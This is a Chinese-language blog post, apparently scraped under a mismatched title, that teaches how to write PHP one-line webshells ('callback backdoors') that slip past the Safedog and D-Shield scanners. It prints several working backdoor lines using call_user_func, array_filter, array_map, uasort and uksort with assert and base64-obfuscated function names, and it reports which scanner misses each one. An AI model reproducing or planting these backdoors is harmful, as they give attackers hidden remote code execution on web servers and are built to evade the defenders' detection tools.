d盾拦截提示是什么是什么

0x00 前言最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET['func']($_REQUEST['pass'])之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:最近又看到有人在发这个:http://www.secoff.net/archives/436.html有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论:php中包含回调函数参数的函数,具有做后门的潜质。我就自己给这类webshell起了个名字:回调后门。0x01 回调后门的老祖宗php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:1call_user_func('assert', $_REQUEST['pass']);assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。这个后门,狗和盾都可以查到(但是狗不会拦截):可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:1call_user_func_array('assert', array($_REQUEST['pass']));call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:可见,虽然狗不杀了,D盾还是聪明地识别了出来。看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。0x02 数组操作造成的单参数回调后门进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。 我最早想到个最“简单好用的”:123$e = $_REQUEST['e'];$arr = array($_POST['pass'],);array_filter($arr, base64_decode($e));array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):类似array_filter,array_map也有同样功效:123$e = $_REQUEST['e'];$arr = array($_POST['pass'],);array_map(base64_decode($e), $arr);依旧被D盾查杀。果然,简单的数组回调后门,还是很容易被发现与查杀的。0x03 php5.4.8+中的assertphp 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。比如如下回调后门:123$e = $_REQUEST['e'];$arr = array('test', $_REQUEST['pass']);uasort($arr, base64_decode($e));这个后门在php5.3时会报错,提示assert只能有一个参数:php版本改作5.4后就可以执行了:这个后门,狗和盾是都查不出来的:同样的道理,这个也是功能类似:123$e = $_REQUEST['e'];$arr = array('test' =& 1, $_REQUEST['pass'] =& 2);uksort($arr, $e);再给出这两个函数,面向对象的方法:12345

参考资料

 

随机推荐